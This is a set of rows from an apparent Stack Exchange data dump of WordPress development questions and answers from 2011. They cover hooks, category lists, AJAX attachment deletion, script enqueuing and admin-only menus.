  <row Id="8249" PostTypeId="2" ParentId="8247" CreationDate="2011-01-31T23:58:56.027" Score="0" ViewCount="" Body="&lt;p&gt;This line right here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( !$attachment_image_link[0] )&#xA;            $image_link_from_post = $attachment_image_link[0];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You're only assigning the &lt;code&gt;$image_link_from_post&lt;/code&gt; variable to the post thumbnail if the post thumbnail does not exist. Take out the NOT operator in the conditional and it should work more the way you intend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Update: oops, weird, I just copied that line out of your code, but now its not there. Did you already solve the problem?&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-01-31T23:58:56.027" CommentCount="5" />
  <row Id="8250" PostTypeId="1" AcceptedAnswerId="8251" CreationDate="2011-02-01T00:54:10.217" Score="0" ViewCount="41" Body="&lt;p&gt;I found a question about magazine style front pages that queries always only 1 post (or custom_post_types, etc.) from a whole load of different categories, tags or custom taxonomies. I thought about this for a while and came with something like this as a start.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function pre_saved_posts() {&#xA;  if ( !is_admin() &amp;amp;&amp;amp; !current_user_can('edit_posts') )&#xA;    return;&#xA;&#xA;  global $post;&#xA;&#xA;  // Option-Name&#xA;  $opt_name = 'theme_post_ids';&#xA;  // get data from DB&#xA;  $db_option_value = get_option( $opt_name );&#xA;  // If there's nothing in the DB, create an array, else add the ID to the array of post_IDs&#xA;  empty($db_option_value) ?  $post_ids = array($post-&amp;gt;ID) : $post_ids .= $post-&amp;gt;ID;&#xA;&#xA;  // get posts&#xA;  $posts = get_posts( array( 'include' =&amp;gt; $post_ids ) );&#xA;&#xA;  // DB-Option @Option-Table updaten or add&#xA;  empty($db_option_value) ? add_option( $opt_name, $posts ) : update_option( $opt_name, $posts );&#xA;}&#xA;// Do it when a post is updated&#xA;add_action( 'save_post', 'pre_saved_posts', 20 ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would be displayed like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$some_posts = get_option( 'theme_post_ids' );&#xA;foreach ( $some_posts as $post ) {&#xA;  // possible for ex.: $post-&amp;gt;ID, $post-&amp;gt;post_content, $post-&amp;gt;post_title, etc.&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's not tested and only an example, but maybe there's someone interessted in extending this. I still question myself how much sense it makes, but i could imagine that there's one large multidimensional array that contains subarrays for different requests ex. &lt;code&gt;$some_posts = get_option('theme_post_ids'); $home_posts = $someposts['home'];&lt;/code&gt;. If this would be stored in a global $var, maybe there could be some performance increase...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideas/Suggestions/Whatever?&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-02-01T01:05:56.833" Title="pre saved posts query from db options table" Tags="&lt;query&gt;&lt;get-posts&gt;" AnswerCount="1" />
  <row Id="8251" PostTypeId="2" ParentId="8250" CreationDate="2011-02-01T01:05:56.833" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@kaiser:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider using the &lt;a href=&quot;http://codex.wordpress.org/Transients_API&quot; rel=&quot;nofollow&quot;&gt;Transients API&lt;/a&gt; instead, that's what it is built for.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Transients_API&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Transients_API&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-02-01T01:05:56.833" CommentCount="1" />
  <row Id="8252" PostTypeId="1" CreationDate="2011-02-01T01:16:48.060" Score="0" ViewCount="214" Body="&lt;p&gt;Im currently using &lt;code&gt;&amp;lt;?php wp_list_categories('child_of=4&amp;amp;title_li='); ?&amp;gt;&lt;/code&gt; to echo out a list of my categories. I'm wondering how I could append some html (specifically an &amp;raquo; to the  end of each LI within the link. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this screenshot for an example of what I'm trying to do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://nikibrown.com/uploads/4662272c3f00c669b17952c10d21901c.png&quot; rel=&quot;nofollow&quot;&gt;http://nikibrown.com/uploads/4662272c3f00c669b17952c10d21901c.png&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2862" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-02-01T07:32:56.807" LastActivityDate="2011-02-01T15:18:06.897" Title="Append HTML to an LI of wp_list_categories" Tags="&lt;theme-development&gt;&lt;categories&gt;" AnswerCount="5" />
  <row Id="8253" PostTypeId="2" ParentId="8252" CreationDate="2011-02-01T02:12:22.550" Score="2" ViewCount="" Body="&lt;p&gt;It may make more sense to create the desired visual style using CSS alone. This keeps presentation separate from content generation.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;li.cat-item { &#xA;  background: url(../image/arrows.png) no-repeat;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may already know this, as you are using the parameters already, but you would of course need to remove the “&amp;amp;title_li=” from the parameters to keep the CSS hooks.&lt;/p&gt;&#xA;" OwnerUserId="2863" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-02-01T13:19:35.647" LastActivityDate="2011-02-01T13:19:35.647" CommentCount="1" />
  <row Id="8254" PostTypeId="2" ParentId="8252" CreationDate="2011-02-01T02:14:20.897" Score="2" ViewCount="" Body="&lt;p&gt;Here is the method I would do using PHP str_replace:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$variable = wp_list_categories('child_of=4&amp;amp;echo=0&amp;amp;title_li=');&#xA;$variable = str_replace('&amp;lt;/a&amp;gt;', ' »&amp;lt;/a&amp;gt;', $variable);&#xA;echo $variable;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2011-02-01T02:14:20.897" />
  <row Id="8255" PostTypeId="2" ParentId="8157" CreationDate="2011-02-01T03:10:23.420" Score="1" ViewCount="" Body="&lt;p&gt;I have finally figured out how to do it, and it now works 100%!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plus it uses the admin-ajax.php so clicking the Remove link there is an ajax request sent to the function that does the deleting of the attachment and returns the message saying it has been deleted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code for my solution, first is the html for the metabox:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a class=&quot;remImage&quot; href=&quot;#&quot;&amp;gt;&amp;lt;?php _e('Remove');?&amp;gt;&amp;lt;/a&amp;gt;                  &#xA;&amp;lt;input type=&quot;hidden&quot; id=&quot;att_remove&quot; name=&quot;att_remove[]&quot; value=&quot;&amp;lt;?php echo $attachment-&amp;gt;ID; ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;nonce&quot; id=&quot;nonce&quot; value=&quot;&amp;lt;?php echo wp_create_nonce( 'delete_attachment' ); ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the Php function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'wp_ajax_delete_attachment', 'delete_attachment' );&#xA;function delete_attachment( $post ) {&#xA;    //echo $_POST['att_ID'];&#xA;    $msg = 'Attachment ID [' . $_POST['att_ID'] . '] has been deleted!';&#xA;    if( wp_delete_attachment( $_POST['att_ID'], true )) {&#xA;        echo $msg;&#xA;    }&#xA;    die();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the jQuery script that sends the attachment ID and action, etc., then removes the div from the DOM after receiving the ajax response is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    jQuery('.remImage').live('click', function() {&#xA;        if( size &amp;gt; 1 ) {&#xA;            jQuery.ajax({&#xA;                type: 'post',&#xA;                url: ajaxurl,&#xA;                data: {&#xA;                    action: 'delete_attachment',&#xA;                    att_ID: jQuery(this).parents('.attchmt').find('#att_remove').val(),&#xA;                    _ajax_nonce: jQuery('#nonce').val(),&#xA;                    post_type: 'attachment'&#xA;                },&#xA;                success: function( html ) {&#xA;                    alert( html );&#xA;                }&#xA;            });&#xA;            jQuery(this).parents('.attchmt').detach();&#xA;            size--;&#xA;        }&#xA;        return false;&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am now able to finally complete what I thought was totally impossible after the number of attempts I've made in trying to make it and have failed each time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will soon be a plugin, that I can then use on any site easily, with simple options to define the post type to add it to.&lt;/p&gt;&#xA;" OwnerUserId="1366" LastActivityDate="2011-02-01T03:10:23.420" CommentCount="1" />
  <row Id="8256" PostTypeId="2" ParentId="8241" CreationDate="2011-02-01T04:39:15.740" Score="3" ViewCount="" Body="&lt;p&gt;The function which is used internally (since 3.1) is &lt;code&gt;get_edit_term_link( $term_id, $taxonomy, $object_type = '' )&lt;/code&gt;. Source view &lt;a href=&quot;http://wpseek.com/source/wp/latest/nav.html?wp-includes/link-template.php.source.html#l679&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also a function called &lt;code&gt;edit_term_link&lt;/code&gt; that will format the link output for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The built-in functions are probably better to use, because they check for user capabilities, etc., and are better for future compatability.  That said, I think you're safe using the hardcoded url for backwards compatability. I don't know how it was done in previous versions, and I think those links might have been hardcoded like you're doing...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; I was curious what was done before that function was introduced, so I looked through the source. Prior to 3.1, &lt;code&gt;get_edit_tag_link( $tag_id, $taxonomy = 'post_tag' )&lt;/code&gt; did the same thing - now it's just rewritten to use &lt;code&gt;get_edit_term_link&lt;/code&gt; internally. So if you want to support all recent versions of WordPress, use this function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//add the filter in order to add custom columns to the category manager &#xA;add_filter('manage_category_custom_column', 'display_cat_columns', 10, 3);&#xA;&#xA;//This function outputs the custom category image onto each row of the category manager grid.&#xA;function display_cat_columns($arg1, $column_name, $cat_id){&#xA;  if ('ce4_cat_image' == $column_name) {&#xA;      if (function_exists ('edit_term_link'))&#xA;        return edit_term_link( get_category_thumbnail_admin($cat_id, 'thumbnail'),&#xA;                '', '', $cat_id, false );&#xA;      else return '&amp;lt;a href=&quot;'.get_edit_tag_link($cat_id, 'category').'&quot;&amp;gt;'.&#xA;                get_category_thumbnail_admin($cat_id, 'thumbnail').'&amp;lt;/a&amp;gt;';&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2011-02-01T16:34:16.293" LastActivityDate="2011-02-01T16:34:16.293" CommentCount="1" />
  <row Id="8257" PostTypeId="1" AcceptedAnswerId="8258" CreationDate="2011-02-01T05:47:33.097" Score="1" ViewCount="405" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;publish_post  Runs when a post is&#xA;  published, or if it is edited and its&#xA;  status is &quot;published&quot;. Action function&#xA;  arguments: post ID.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;-&lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference&quot; rel=&quot;nofollow&quot;&gt;Plugin API Documentation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've added the publish_post hook to a WordPress plugin that I'm writing.  The function called by the hook itself, is meant to change the categories of several posts using the wp_update_post function.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This hook does not work however as the result returned from running wp_update_post is always 0.  My best guess is that running wp_update_post causes another instance of my hook to run because it re-publishes the post...which I believe brings about the &lt;strong&gt;&quot;...or if it is edited and its status is &quot;published&quot;&quot;&lt;/strong&gt; of the statement above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other action-hook that I can use that will only be called when the post added is completely new and not edited?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA; /* &#xA; Plugin Name: Category Switcher Plugin&#xA; Plugin URI: http://www.example.com&#xA; Description: When a new post is created this plugin will cause the &#xA; Version: 0.1&#xA; Author: Me&#xA; License: GPL2 &#xA;?&amp;gt;&#xA;&amp;lt;?php&#xA;class categoryShifter {&#xA;  function shiftCategories($post_ID) {&#xA;&#xA;    $maxNumPostsFirstTeir = 4;&#xA;&#xA;    $first_teir_cat = &quot;Fresh News Stories 1&quot;;&#xA;    $second_teir_cat = &quot;Slightly Dated Stories 2&quot;;  &#xA;&#xA;    $firephp = FirePHP::getInstance(true);&#xA;&#xA;    $firephp-&amp;gt;info('BEGIN: categoryShifter.shiftCategories()');&#xA;&#xA;    $firephp-&amp;gt;log($post_ID, 'post_ID: ');&#xA;    $firephp-&amp;gt;trace('trace to here');    &#xA;&#xA;    $first_teir_id = categoryShifter::getIDForCategory($first_teir_cat, $firephp); &#xA;    $second_teir_id = categoryShifter::getIDForCategory($second_teir_cat, $firephp);&#xA;&#xA;    $firephp-&amp;gt;log($first_teir_id, '$first_teir_id');&#xA;    $firephp-&amp;gt;log($second_teir_id, '$second_teir_id');   &#xA;&#xA;    $qPostArgs = array(&#xA;      'numberposts' =&amp;gt; 100,&#xA;      'order' =&amp;gt; 'DESC', &#xA;      'orderby' =&amp;gt; 'post_date',&#xA;      'post_type' =&amp;gt; 'post',&#xA;      'post_status' =&amp;gt; 'published', &#xA;      'category_name' =&amp;gt; $first_teir_cat&#xA;    );&#xA;&#xA;    $firstTeirPosts = get_posts($qPostArgs);   &#xA;    $firephp-&amp;gt;log($firstTeirPosts, 'got posts:');&#xA;&#xA;    $firephp-&amp;gt;log(sizeof($firstTeirPosts), 'sizeof');&#xA;&#xA;&#xA;    // NOTE: This appears to work.&#xA;    for($i = sizeof($firstTeirPosts)-1; $i &amp;gt; $maxNumPostsFirstTeir-4; $i--) &#xA;    {&#xA;      $newCats = array($second_teir_id);&#xA;      $editingId = $firstTeirPosts-&amp;gt;ID;&#xA;      $result = wp_set_post_categories($editingId, $newCats); /* NOTE: Doesn't work presently... returns an array with the $second_teir_id in it. */&#xA;      $firephp-&amp;gt;log($result, 'Result'); &#xA;    }&#xA;&#xA;&#xA;&#xA;    /*&#xA;    $my_post = array();&#xA;    $my_post['ID'] = 132;&#xA;    $my_post['post_category'] = array($second_teir_id);&#xA;&#xA;&#xA;    $firephp-&amp;gt;log('Before', 'Before'); &#xA;    if(wp_update_post( $my_post ) == 0) {&#xA;        $firephp-&amp;gt;Error('Fatal Error, Post not updated', 'error');&#xA;    }&#xA;    $firephp-&amp;gt;log('After', 'After');&#xA;    */&#xA;    return $post_ID;&#xA;  }&#xA;&#xA;&#xA;  function getIDForCategory($cat_name, $logger) {&#xA;    $logger-&amp;gt;Info(&quot;Begin: getIDForCategory()&quot;);&#xA;&#xA;    $cats = get_categories();      &#xA;&#xA;    $whichCatId = &quot;&quot;;&#xA;&#xA;    foreach($cats as $single_cat) {&#xA;      if($single_cat-&amp;gt;name == $cat_name) {&#xA;       $whichCatId = $single_cat-&amp;gt;term_id;&#xA;       break;&#xA;      }&#xA;    }&#xA;    $logger-&amp;gt;Info(&quot;End: getIDForCategory()&quot;);&#xA;    return (int)$whichCatId;&#xA;  }&#xA;}&#xA;&#xA;/* Hook Post Creation */&#xA;/* add_action('publish_post', array('categoryShifter','shiftCategories')); */&#xA;add_action('wp_insert_post', array('categoryShifter', 'shiftCategories'));&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've switched to using the wp_insert_post hook for the time being...but I still can't get the wp_set_post_categories function to change the categories of the posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that I will probably need to update this code so that it takes into account the existing categories of the post and only modifies the ones specified by the plugin, but for now it's really just an alpha.&lt;/p&gt;&#xA;" OwnerUserId="304" LastEditorUserId="304" LastEditorDisplayName="" LastEditDate="2011-02-01T06:11:48.070" LastActivityDate="2011-02-01T06:51:01.553" Title="add_action hook for completely new post?" Tags="&lt;plugin-development&gt;&lt;categories&gt;&lt;hooks&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="1" />
  <row Id="8258" PostTypeId="2" ParentId="8257" CreationDate="2011-02-01T06:50:56.537" Score="6" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;add_action('new_to_publish', 'your_function');&#xA;add_action('draft_to_publish', 'your_function');&#xA;add_action('pending_to_publish', 'your_function');&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-02-01T06:50:56.537" CommentCount="1" />
  <row Id="8259" PostTypeId="2" ParentId="8257" CreationDate="2011-02-01T06:51:01.553" Score="4" ViewCount="" Body="&lt;p&gt;Precisely target creation of new post is actually more tricky than it seems. Technically there are multiple ways post can get created or updated and there are plenty not so obvious things that are technically posts as well (revisions for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress provides dynamic hooks that track not only post creation, but what it was and what it became. See &lt;a href=&quot;http://codex.wordpress.org/Post_Status_Transitions&quot; rel=&quot;nofollow&quot;&gt;Post Status Transitions&lt;/a&gt; in Codex.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-01T06:51:01.553" CommentCount="1" />
  <row Id="8260" PostTypeId="1" CreationDate="2011-02-01T07:13:01.027" Score="1" ViewCount="389" Body="&lt;p&gt;In child theme I created a functions.php file that loads scripts and style files, the code is below.&#xA;The section that loads libraries and scripts to all pages other than admin, in other words the first two functions, works as expected.&#xA;However, the third function, which is designed to load a script for a specific page does not load.&#xA;It appears that my problem has to do with specifying the page condition. The rest of the code for register and enqueue works if it is placed in the general function that loads scripts for any page other than admin pages.&#xA;I've researched this can can't find any examples showing why the approach I've used is not working.&#xA;I've swapped the page id with the name of the page but to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestion on the source of the problem would be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;&#xA;function scripts () {&#xA;    if ( !is_admin() ) { &#xA;        wp_enqueue_script('jquery');&#xA;        wp_register_script('jqueryUI', &quot;path&quot;, array('jquery')); //register custom UI library&#xA;        wp_enqueue_script('jqueryUI');&#xA;        wp_register_script('popUp1', (&quot;path&quot;), array('jquery', 'jqueryUI'));&#xA;        wp_enqueue_script('popUp1');&#xA;        wp_register_script('popUpText', 'path', array('jquery', 'jqueryUI'));&#xA;        wp_enqueue_script('popUpText');&#xA;    }&#xA;}&#xA;&#xA;add_action('init', 'scripts');&#xA;&#xA;//INSERT CSS    files into the header&#xA;function styles () {&#xA;    if ( !is_admin() ) {&#xA;        wp_register_style('jqueryUIcss', &quot;path&quot;);&#xA;        wp_enqueue_style('jqueryUIcss');&#xA;        wp_register_style('valuecss', &quot;path&quot;);&#xA;        wp_enqueue_style('valuecss');&#xA;    }&#xA;}   &#xA;    add_action('init', 'styles');&#xA;&#xA;//Add scripts for pop ups on &quot;how to estimate value&quot; page&#xA;function pagePopUps1 () {&#xA;    if ( is_page(16)) { &#xA;        wp_register_script('popUpVideo1', &quot;path&quot;, array('jquery', 'jqueryUI'));&#xA;        wp_enqueue_script('popUpVideo1');&#xA;&#xA;    }&#xA;}&#xA;&#xA;add_action('init', 'pagePopUps1');  &#xA;&#xA;&#xA;&#xA;//End of file&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note for the sake of brevity I removed the src's but these have been validated and are not the source of the problem.&lt;/p&gt;&#xA;" OwnerUserId="2865" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-02-01T07:37:20.013" LastActivityDate="2011-02-01T12:39:06.527" Title="Loading Scripts on Specific Pages" Tags="&lt;conditional-content&gt;&lt;child-theme&gt;&lt;page-specific-settings&gt;" AnswerCount="2" />
  <row Id="8261" PostTypeId="2" ParentId="8247" CreationDate="2011-02-01T07:14:38.060" Score="1" ViewCount="" Body="&lt;p&gt;This should be able to return the url of the large image.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$largeImg = wp_get_attachment_link( $attachment_id, 'large', false );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's also this incase that doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_get_attachment_image_src( $attachment_id, 'large' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1366" LastActivityDate="2011-02-01T07:14:38.060" />
  <row Id="8262" PostTypeId="2" ParentId="3972" CreationDate="2011-02-01T07:26:12.637" Score="0" ViewCount="" Body="&lt;p&gt;i think first you have to check either you are istalling a theme or a plugin because some time when you  install a zip file of theme in a newplugin this error cause and its a blunder mistake but can happened specialy for new users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ratecomb.com/mortgage-lowest-rates&quot; rel=&quot;nofollow&quot;&gt;mortgage-lowest-rates&amp;lt;&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2011-02-01T07:26:12.637" />
  <row Id="8263" PostTypeId="2" ParentId="8260" CreationDate="2011-02-01T08:02:22.413" Score="0" ViewCount="" Body="&lt;p&gt;The first things to check in such cases:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;is hooked function firing properly;&lt;/li&gt;&#xA;&lt;li&gt;is condition being evaluated to expected result.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Add &lt;code&gt;var_dump(  is_page(16) );&lt;/code&gt; to your function and see if these are working as expected.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-01T08:02:22.413" CommentCount="5" />
  <row Id="8264" PostTypeId="1" CreationDate="2011-02-01T08:25:09.827" Score="0" ViewCount="124" Body="&lt;p&gt;I would like to find a solution, where I can administer multiple wordpress sites (50 plus) using one wordpress admin interface or other tool. I would like to manage plugins and content on these sites. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there such tool exists?&lt;/p&gt;&#xA;" OwnerUserId="2867" LastActivityDate="2011-02-01T08:33:20.020" Title="Can I manage more wordpress sites with one wordpress administrator page?" Tags="&lt;multisite&gt;&lt;admin&gt;" AnswerCount="2" />
  <row Id="8265" PostTypeId="2" ParentId="8264" CreationDate="2011-02-01T08:32:35.550" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@gyurisc:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Easy: use &lt;a href=&quot;http://codex.wordpress.org/Create_A_Network&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WordPress Multisite&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-02-01T08:32:35.550" CommentCount="3" />
  <row Id="8266" PostTypeId="2" ParentId="8264" CreationDate="2011-02-01T08:33:20.020" Score="2" ViewCount="" Body="&lt;p&gt;I assume you are not interested in multisite network, but in managing multiple separate blogs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By description this sounds like &lt;a href=&quot;http://managewp.com/&quot; rel=&quot;nofollow&quot;&gt;ManageWP&lt;/a&gt; (for the record hadn't used it myself).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-01T08:33:20.020" CommentCount="1" />
  <row Id="8267" PostTypeId="1" CreationDate="2011-02-01T08:52:31.650" Score="1" ViewCount="224" Body="&lt;p&gt;Hey. I've been trying to figure this out for a long time but can't seem to crack it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a menu using Wordpress 3 menu editor and it's all fine and working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I want to manually add an item (or few) to a submenu so that the item will only show up in the submenu if logged in user is admin (can add_users).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already came up with a solution of having two separate menus for another purpose. But that is not what I want in this case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say I have a menu called &quot;Archives&quot; It has a submenu with items &quot;One&quot; &quot;Two&quot; &quot;Three&quot;. This I have built using the Wordpress menu system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to manually add a new item to the Archives menu, let's call it &quot;Four&quot; but I only want this to appear in the menu when a user is logged in and is admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@MikeSchinkel - still haven't figured this one out... if you know, could you help me out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" LastEditorUserId="2889" LastEditorDisplayName="" LastEditDate="2011-03-26T21:55:42.663" LastActivityDate="2011-03-26T21:55:42.663" Title="How to manually add an item to a submenu in a menu generated by wp_nav_menu?" Tags="&lt;custom-menus&gt;&lt;functions&gt;&lt;navigation&gt;" AnswerCount="2" />
  <row Id="8268" PostTypeId="2" ParentId="8267" CreationDate="2011-02-01T09:13:07.527" Score="0" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@fusse:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want the menu to be added only for an admin then really want you want is to be able to do is to remove the menu item for non-admin users?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before I can continue, can I confirm that is what you want?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-02-01T09:13:07.527" />
  <row Id="8269" PostTypeId="2" ParentId="8252" CreationDate="2011-02-01T09:43:16.050" Score="3" ViewCount="" Body="&lt;p&gt;Use the CSS :after pseudo-class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know people aren't big on psuedo-classes, but they work in all major browsers now. There's no reason not to use them.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-02-01T09:43:16.050" />
  <row Id="8270" PostTypeId="2" ParentId="8240" CreationDate="2011-02-01T09:47:46.823" Score="1" ViewCount="" Body="&lt;p&gt;Do you have a filesystem and setup that allows for direct access? If the filesystem object is expecting FTP credentials, then you may not get the results you're looking for without giving it the right username/password/server information.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-02-01T09:47:46.823" CommentCount="1" />
  <row Id="8271" PostTypeId="2" ParentId="1736" CreationDate="2011-02-01T09:50:44.773" Score="0" ViewCount="" Body="&lt;p&gt;this is possible with the plugin s2member, the free version is sufficient. I created a client area where each client has an URL&#xA;there is a video tutorial here : &lt;a href=&quot;http://www.primothemes.com/forums/viewtopic.php?f=4&amp;amp;t=586&amp;amp;start=0&amp;amp;hilit=client+area&quot; rel=&quot;nofollow&quot;&gt;http://www.primothemes.com/forums/viewtopic.php?f=4&amp;amp;t=586&amp;amp;start=0&amp;amp;hilit=client+area&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1000" LastActivityDate="2011-02-01T09:50:44.773" />
  <row Id="8273" PostTypeId="2" ParentId="8267" CreationDate="2011-02-01T10:09:04.483" Score="1" ViewCount="" Body="&lt;p&gt;the simplest way would be to create two menus on for admin and one for everyone else&#xA;and display them based on that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (current_user_can('add_users')){&#xA;   wp_nav_menu( array('menu' =&amp;gt; 'My Admin Menu' ));&#xA;}else{&#xA;   wp_nav_menu( array('menu' =&amp;gt; 'My Users Menu' ));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-01T10:09:04.483" />
  <row Id="8274" PostTypeId="2" ParentId="8152" CreationDate="2011-02-01T10:52:38.873" Score="1" ViewCount="" Body="&lt;p&gt;You cannot add items to the admin menus that point to external URLs, the menu addition functions do not support this, nor will they allow it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you attach a callback onto the &lt;code&gt;admin_menu&lt;/code&gt; hook, you can insert some items yourself manually and totally overcome the non-external URL problem. I do this myself and i'm quite surprised noone has already pointed out the issue with external menu links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I provided an example when answering &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1039/adding-an-arbitrary-link-to-the-admin-menu/3831#3831&quot;&gt;Adding an Arbitrary Link to the Admin Menu?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if that helps. &lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-02-01T10:52:38.873" CommentCount="2" />
